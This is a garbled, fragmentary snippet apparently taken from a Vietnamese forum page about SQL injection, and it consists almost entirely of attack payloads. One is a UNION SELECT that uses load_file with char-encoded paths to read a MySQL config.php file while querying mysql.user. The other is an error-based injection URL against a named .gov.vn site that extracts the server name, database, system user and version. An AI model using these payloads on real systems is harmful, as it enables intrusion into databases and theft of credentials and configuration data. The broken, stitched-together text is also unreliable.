... 1 ,2, 3,load_file(char(67,58, 92, 80,114,111,103,114,97,109,70,105,108,101,115, 92, 77, 121 ,83,81,76, 92, 77, 121 ,83,81,76,83,101,114,118,101,114,53,46,48, 92, 68,97,116,97, 92, 99,111,110,1 02, 105,103,46,1 12, 104,1 12) ),5,6,7,8,9,10,11, 12, 13,14,15,16,17,18,19 ,20 ,21 ,22 ,23 ,24 ,25 ,26 ,27 ,28 ,29 ,30,31 from mysql.user where user=CHAR(109, 117, 117) Page 20 - : ... http://www.hieupc.gov.vn/hieupc.asp?id=1/**/and/**/1=convert %28 int,@@servername%2bchar( 124 )%2bdb_name()%2bchar( 124 )%2bsystem_user%2bchar( 124 )%2b@ @version) sp_password : Kim tra xem System_User ... char(67,58, 92, 80,114,111,103,114,97,109,70,105,108,101,115, 92, 77, 121 ,83,81,76, 92, 77, 121 ,83,81,76,83,101,114,118,101,114,53,46,48, 92, 68,97,116,97, 92, 99,111,110,1 02, 105,103,46,1 12, 104,1 12) ...